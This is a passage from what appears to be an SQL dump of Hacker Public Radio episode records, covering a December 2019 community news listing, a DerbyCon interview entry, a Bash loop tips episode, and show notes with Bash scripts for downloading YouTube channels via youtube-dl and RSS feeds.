href=\"https://hackerpublicradio.org/eps.php?id=2968\" target=\"_blank\">2968</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-12-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2968\" target=\"_blank\">Life and Times of a Geek part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2969\" target=\"_blank\">2969</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-12-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2969\" target=\"_blank\">Crewing a spaceship in Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2970\" target=\"_blank\">2970</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-12-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2970\" target=\"_blank\">The Fediverse</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2971\" target=\"_blank\">2971</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-12-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2971\" target=\"_blank\">World of Commodore 2019 Episode 2: Hacking GeckOS</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2972\" target=\"_blank\">2972</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-12-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2972\" target=\"_blank\">The foot of the ski slope</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2973\" target=\"_blank\">2973</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-12-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2973\" target=\"_blank\">Introduction to Advent of Code</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2974\" target=\"_blank\">2974</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-12-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2974\" target=\"_blank\">Guitar Setup pt. 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2975\" target=\"_blank\">2975</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-12-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2975\" target=\"_blank\">SimpleScreenRecorder and Vidcutter</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2976\" target=\"_blank\">2976</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-12-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2976\" target=\"_blank\">A walk through my PifaceCAD Python code – Part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2977\" target=\"_blank\">2977</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-12-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2977\" target=\"_blank\">World of Commodore 2019 Episode 3: Life after Commodore</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 22 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n6 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2924#comments\" target=\"_blank\">hpr2924</a></strong>\n(2019-10-17) \"<em>Hacking an Alarm Clock to Make it Quieter</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2924#1\" target=\"_blank\">Comment 1</a>:\nGabriel Evenfire on 2019-12-24:\n\"Fun to listen to as always\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2932#comments\" target=\"_blank\">hpr2932</a></strong>\n(2019-10-29) \"<em>Stardrifter RPG Playtest Part 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2932#1\" target=\"_blank\">Comment 1</a>:\nGabriel Evenfire on 2019-12-24:\n\"Loved the series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2942#comments\" target=\"_blank\">hpr2942</a></strong>\n(2019-11-12) \"<em>Why I love lisps</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\" target=\"_blank\">Nihilazo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2942#4\" target=\"_blank\">Comment 4</a>:\nGabriel Evenfire on 2019-12-24:\n\"Great first episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2944#comments\" target=\"_blank\">hpr2944</a></strong>\n(2019-11-14) \"<em>ONICS Basics Part 4: Network Flows and Connections</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2944#2\" target=\"_blank\">Comment 2</a>:\nGabriel Evenfire on 2019-12-23:\n\"Glad you liked it!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2947#comments\" target=\"_blank\">hpr2947</a></strong>\n(2019-11-19) \"<em>The Mimblewimble Protocol</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2947#1\" target=\"_blank\">Comment 1</a>:\nGabriel Evenfire on 2019-12-24:\n\"Enjoying this series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2955#comments\" target=\"_blank\">hpr2955</a></strong>\n(2019-11-29) \"<em>Machine Learning / Data Analysis Basics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2955#2\" target=\"_blank\">Comment 2</a>:\ngerryk on 2019-12-06:\n\"great! clear and informational\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2956#comments\" target=\"_blank\">hpr2956</a></strong>\n(2019-12-02) \"<em>HPR Community News for November 2019</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2956#1\" target=\"_blank\">Comment 1</a>:\njezra on 2019-12-10:\n\"No more postcards?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2957#comments\" target=\"_blank\">hpr2957</a></strong>\n(2019-12-03) \"<em>Lord D\'s Film Reviews: Ever</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2957#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-12-03:\n\"Great series but ...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2957#2\" target=\"_blank\">Comment 2</a>:\nlostnbronx on 2019-12-04:\n\"Links\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2957#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2019-12-04:\n\"Good point\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2959#comments\" target=\"_blank\">hpr2959</a></strong>\n(2019-12-05) \"<em>Interview with Josh Clements about gpodder.net </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2959#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2019-12-05:\n\"No problem. I\'ll do it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2962#comments\" target=\"_blank\">hpr2962</a></strong>\n(2019-12-10) \"<em>Bespoke bike building</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2962#1\" target=\"_blank\">Comment 1</a>:\npetard on 2019-12-11:\n\"I really enjoyed this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2962#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2019-12-12:\n\"Excellent progress\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2963#comments\" target=\"_blank\">hpr2963</a></strong>\n(2019-12-11) \"<em>A walk through my PifaceCAD Python code – Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2963#1\" target=\"_blank\">Comment 1</a>:\nGabriel Evenfire on 2019-12-24:\n\"Great series\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2963#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2019-12-27:\n\"Re: Great series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2964#comments\" target=\"_blank\">hpr2964</a></strong>\n(2019-12-12) \"<em>Bolos and Bowties: Neckwear for Nerds</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2964#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-12-12:\n\"Yes it is of interest to Hackers\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2964#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2019-12-12:\n\"the model\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2965#comments\" target=\"_blank\">hpr2965</a></strong>\n(2019-12-13) \"<em>instant feedback for students in maths</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\" target=\"_blank\">beni</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2965#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-12-19:\n\"Cool project!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2966#comments\" target=\"_blank\">hpr2966</a></strong>\n(2019-12-16) \"<em>World of Commodore 2019 Episode 1: The Interviews</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2966#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2019-12-19:\n\"Legacy Tech\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2966#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2019-12-19:\n\"Great show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2967#comments\" target=\"_blank\">hpr2967</a></strong>\n(2019-12-17) \"<em>Wrestling As You Like It Episode 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2967#1\" target=\"_blank\">Comment 1</a>:\nBRonaldo on 2019-12-17:\n\"WWE\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2974#comments\" target=\"_blank\">hpr2974</a></strong>\n(2019-12-26) \"<em>Guitar Setup pt. 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2974#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2019-12-26:\n\"Heh, editing...\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-December/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>There were no tag or summary updates in the past month.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2691,'2018-11-26','DerbyCon Interview - John Strand',160,'John Strand talks about behavoural analytics and blockchain','<p>John Strand (<a href=\"https://twitter.com/strandjs\" class=\"uri\">https://twitter.com/strandjs</a>) from Black Hills Information Security (<a href=\"https://www.blackhillsinfosec.com/\" class=\"uri\">https://www.blackhillsinfosec.com/</a>)</p>\r\n<p>Download RITA (it’s free!) - Real Intelligence Threat Analytics - <a href=\"https://www.blackhillsinfosec.com/projects/rita/\" class=\"uri\">https://www.blackhillsinfosec.com/projects/rita/</a></p>',79,78,0,'CC-BY-SA','DerbyCon, Interview, Blockchain',0,0,1),
(2699,'2018-12-06','Bash Tips - 15',1794,'Some of the pitfalls when using loops in Bash','<h1 id=\"bash-tips---15\">Bash Tips - 15 <small><small>(More auxiliary Bash tips)</small></small></h1>\r\n<h2 id=\"pitfalls-for-the-unwary-bash-loop-user\">Pitfalls for the unwary Bash loop user</h2>\r\n<p>This is the fifteenth episode covering useful tips for Bash users. In the last episode we looked at the <code>\'for\'</code> loop, and prior to that we looked at <code>\'while\'</code> and <code>\'until\'</code> loops. In this one I want to look at some of the loop-related issues that can trip up the unwary user.</p>\r\n<p>Loops in Bash are extremely useful, and they are not at all difficult to use in their basic forms. However, there are some perhaps less than obvious issues that can result in unexpected behaviour.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2699/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Process-Substitution\">“Bash Process Substitution”</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://www.gnu.org/software/findutils/manual/html_mono/find.html\">“<em>GNU Findutils</em>”</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 “<em>Bash Tips - 14 (Some auxiliary Bash tips)</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2699/bash15_ex1.sh\">bash15_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2699/bash15_ex2.sh\">bash15_ex2.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,loop,ls,pipe,pipeline,find,extglob',0,0,1),
(2710,'2018-12-21','Youtube downloader for channels',844,'A followup to hpr2675 how you can download an entire youtube channel for local playout','<p>\r\nI had a very similar problem to Ahuka aka Kevin, in <a href=\"https://hackerpublicradio.org/eps.php?id=2675\">hpr2675 :: YouTube Playlists</a>. I wanted to be able to download an entire youtube channel and store them so that I could play them in the order that they were posted.\r\n</p>\r\n<p>\r\nAdd the url\'s to a file called <em>subscriptions.txt</em>.\r\n</p>\r\n<pre>\r\n#LASTRUN: 20181030\r\n# /home/ken/sourcecode/personal/bestofyoutube/youtube-channel-watcher.bash\r\n#\r\n# Big Clive \r\nhttps://www.youtube.com/channel/UCtM5z2gkrGRuWd0JQMx76qA	20181030\r\n# Essential Craftsman\r\nhttps://www.youtube.com/channel/UCzr30osBdTmuFUS8IfXtXmg\r\n</pre>\r\n<p>\r\nThen run the script\r\n</p>\r\n<pre>\r\n#!/bin/bash\r\n# Downloads videos from youtube based on selection from https://thebestofyoutube.com\r\n# (c) Ken Fallon https://kenfallon.com\r\n# Released under the CC-0\r\n\r\nsavepath=\"/mnt/media/Videos/channels\"\r\nsubscriptions=\"${savepath}/subscriptions.txt\"\r\nYOUNGERTHAN=\"20010101\"\r\nRUNDATE=$(date +%Y%m%d)\r\nyoutubedl=\"/home/ken/sourcecode/youtube-dl/youtube-dl\"\r\n#DRYRUN=\"echo DEBUG: \"\r\n\r\nif [ ! -e \"${subscriptions}\" ]\r\nthen\r\n	echo \"Cannot find subscription file \"${subscriptions}\"\"\r\n	exit 1\r\nfi\r\n\r\nif [ \"$(grep \"#LASTRUN: \" \"${subscriptions}\" | wc -l )\" -eq 0 ]\r\nthen\r\n	sed --follow-symlinks \'1s/^/#LASTRUN: n/\' -i \"${subscriptions}\"\r\nfi\r\n\r\n# Read the subscriptions\r\ncat \"${subscriptions}\" | grep -v \'#\' | while read channel_info\r\ndo\r\n	if [ \"$(echo \"${channel_info}\" | grep -P \'t\' | wc -l )\" -eq 0 ]\r\n	then\r\n		DATEAFTER=\"--dateafter ${YOUNGERTHAN}\"\r\n	else\r\n		DATEAFTER=\"--dateafter $(echo \"${channel_info}\" | awk \'{print $NF}\' )\"\r\n	fi\r\n	channel=\"$(echo \"${channel_info}\" | awk \'{print $1}\' )\"\r\n	echo \"Processing Channel \"${channel}\" since ${DATEAFTER}\"\r\n	${DRYRUN} ${youtubedl} ${DATEAFTER} --ignore-errors --no-mtime --restrict-filenames --format mp4 -o ${savepath}\'/%(uploader)s/%(upload_date)s-%(title)s⋄%(id)s.%(ext)s\' ${channel}\r\n	${DRYRUN} sed --follow-symlinks \"s,${channel}.*$,${channel}t${RUNDATE},g\" -i \"${subscriptions}\"\r\ndone\r\n\r\n${DRYRUN} sed --follow-symlinks \"s/#LASTRUN: .*$/#LASTRUN: ${RUNDATE}/\" -i \"${subscriptions}\"\r\n</pre>\r\n',30,0,1,'CC-BY-SA','youtube, youtube-dl',0,0,1),
(2720,'2019-01-04','Download youtube channels using the rss feeds',1447,'Ken shares a script that will allow you to quickly keep up to date on your youtube subscriptions','<p>\r\nI had a very similar problem to Ahuka aka Kevin, in <a href=\"https://hackerpublicradio.org/eps.php?id=2675\">hpr2675 :: YouTube Playlists</a>. I wanted to be able to download an entire youtube channel and store them so that I could play them in the order that they were posted.<br />\r\nSee previous episode <a href=\"https://hackerpublicradio.org/eps.php?id=2710\">hpr2710 :: Youtube downloader for channels</a>.\r\n</p>\r\n<p>\r\nThe problem with the original script is that it needs to download and check each video in each channel and it can crawl to a halt on large channels like <a href=\"https://www.eevblog.com/\">EEEVblog</a>.\r\n</p>\r\n<p>\r\nThe solution was given in <a href=\"https://hackerpublicradio.org/eps.php?id=2544\">hpr2544 :: How I prepared episode 2493: YouTube Subscriptions - update</a> with more details in the <a href=\"https://hackerpublicradio.org/eps/hpr2544/full_shownotes.html\">full-length</a> notes.\r\n</p>\r\n\r\n<ol>\r\n<li>Subscribe:<br />Subscriptions are the currency of YouTube creators so don\'t be afraid to create an account to subscribe to the creators. Here is my current <a href=\"https://hackerpublicradio.org/eps/hpr2720/subscription_manager.opml\">subscription_manager.opml</a> to give you some ideas.</li>\r\n<li>Export:<br />Login to <a href=\"https://www.youtube.com/subscription_manager\">https://www.youtube.com/subscription_manager</a> and at the bottom you will see the option to <strong>Export subscriptions</strong>. Save the file and alter the script to point to it.</li>\r\n<li>Download: Run the script <a href=\"https://hackerpublicradio.org/eps/hpr2720/youtube-rss.bash\">youtube-rss.bash</a></li>\r\n</ol>\r\n\r\n<h3>How it works</h3>\r\n<p>\r\nThe first part allows you to define where you want to save your files. It also allows you to set what videos to skip based on length and strings in their titles.\r\n</p>\r\n<pre>\r\nsavepath=\"/mnt/media/Videos/channels\"\r\nsubscriptions=\"${savepath}/subscription_manager.opml\"\r\nlogfile=\"${savepath}/log/downloaded.log\"\r\nyoutubedl=\"/mnt/media/Videos/youtube-dl/youtube-dl\"\r\nDRYRUN=\"echo DEBUG: \"\r\nmaxlength=7200 # two hours\r\nskipcrap=\"fail |react |live |Best Pets|BLOOPERS|Kids Try\"\r\n</pre>\r\n\r\n<p>\r\nAfter some checks and cleanup, we can then parse the <a href=\"https://en.wikipedia.org/wiki/OPML\">opml</a> file. This is an example of the top of mine.\r\n</p>\r\n<pre>\r\n&lt;?xml version=\"1.0\"?&gt;\r\n&lt;opml version=\"1.1\"&gt;\r\n  &lt;body&gt;\r\n    &lt;outline text=\"YouTube Subscriptions\" title=\"YouTube Subscriptions\"&gt;\r\n      &lt;outline text=\"Wintergatan\" title=\"Wintergatan\" type=\"rss\" xmlUrl=\"https://www.youtube.com/feeds/videos.xml?channel_id=UCcXhhVwCT6_WqjkEniejRJQ\"/&gt;\r\n      &lt;outline text=\"Primitive Technology\" title=\"Primitive Technology\" type=\"rss\" xmlUrl=\"https://www.youtube.com/feeds/videos.xml?channel_id=UCAL3JXZSzSm8AlZyD3nQdBA\"/&gt;\r\n      &lt;outline text=\"John Ward\" title=\"John Ward\" type=\"rss\" xmlUrl=\"https://www.youtube.com/feeds/videos.xml?channel_id=UC2uFFhnMKyF82UY2TbXRaNg\"/&gt;\r\n</pre>\r\n\r\n<p>\r\nNow we use the xmlstarlet tool to extract each of the urls and also the title. The title is just used to give some feedback, while the url needs to be stored for later. Now we have a complete list of all the current urls, in all the feeds. \r\n</p>\r\n<pre>\r\nxmlstarlet sel -T -t -m \'/opml/body/outline/outline\' -v \'concat( @xmlUrl, \" \", @title)\' -n \"${subscriptions}\" | while read subscription title\r\ndo\r\n  echo \"Getting \"${title}\"\"\r\n  wget -q \"${subscription}\" -O - | xmlstarlet sel -T -t -m \'/_:feed/_:entry/media:group/media:content\' -v \'@url\' -n - | awk -F \'?\' \'{print $1}\'  >> \"${logfile}_getlist\"\r\ndone\r\n</pre>\r\n\r\n<p>\r\nThe main part of the script then counts the total so we can have some feedback while we are running it. It then pumps the list from the previous step into a loop which first checks to make sure we have not already downloaded it.\r\n</p>\r\n<pre>\r\ncount=1\r\ntotal=$( sort \"${logfile}_getlist\" | uniq | wc -l )\r\n\r\nsort \"${logfile}_getlist\" | uniq | while read thisvideo\r\ndo \r\n  if [ \"$( grep \"${thisvideo}\" \"${logfile}\" | wc -l )\" -eq 0 ];\r\n  then\r\n</pre>\r\n<p>\r\nThe next part takes advantage of the <strong>youtube-dl --dump-json</strong> command which downloads all sorts of information about the video which we store to query later.\r\n</p>\r\n<pre>\r\n    metadata=\"$( ${youtubedl} --dump-json ${thisvideo} )\"\r\n    uploader=\"$( echo $metadata | jq \'.uploader\' | awk -F \'\"\' \'{print $2}\' )\"\r\n    title=\"$( echo $metadata | jq \'.title\' | awk -F \'\"\' \'{print $2}\' )\"\r\n    upload_date=\"$( echo $metadata | jq \'.upload_date\' | awk -F \'\"\' \'{print $2}\' )\"\r\n    id=\"$( echo $metadata | jq \'.id\' | awk -F \'\"\' \'{print $2}\' )\"\r\n    duration=\"$( echo $metadata | jq \'.duration\' )\"\r\n</pre>\r\n<p>\r\nHaving the duration, we can skip long episodes.\r\n</p>\r\n<pre>\r\n\r\n    if [[ -z ${duration} || ${duration} -le 0 ]]\r\n    then\r\n      echo -e \"nError: The duration \"${length}\" is strange. \"${thisvideo}\".\"\r\n      continue\r\n    elif [[ ${duration} -ge ${maxlength} ]]\r\n    then\r\n      echo -e \"nFilter: You told me not to download titles over ${maxlength} seconds long \"${title}\", \"${thisvideo}\"\"\r\n      continue\r\n    fi\r\n</pre>\r\n<p>\r\nOr videos that don\'t interest us.\r\n</p>\r\n<pre>\r\n\r\n    if [[ ! -z \"${skipcrap}\" &amp;&amp; $( echo ${title} | egrep -i \"${skipcrap}\" | wc -l ) -ne 0 ]]\r\n    then\r\n      echo -e \"nSkipping: You told me not to download this stuff. ${uploader}: \"${title}\", \"${thisvideo}\"\"\r\n      continue\r\n    else\r\n      echo -e \"n${uploader}: \"${title}\", \"${thisvideo}\"\"\r\n    fi\r\n</pre>\r\n<p>\r\nNow we have a filtered list of urls we do want to keep. These we also save the description in a text file with the video id if we want to refer to it later. \r\n</p>\r\n<pre>\r\n    echo ${thisvideo} &gt;&gt; \"${logfile}_todo\"\r\n    echo -e $( echo $metadata | jq \'.description\' ) &gt; \"${savepath}/description/${id}.txt\"\r\n  else\r\n    echo -ne \"rProcessing ${count} of ${total}\"\r\n  fi\r\n  count=$((count+1))\r\ndone\r\necho 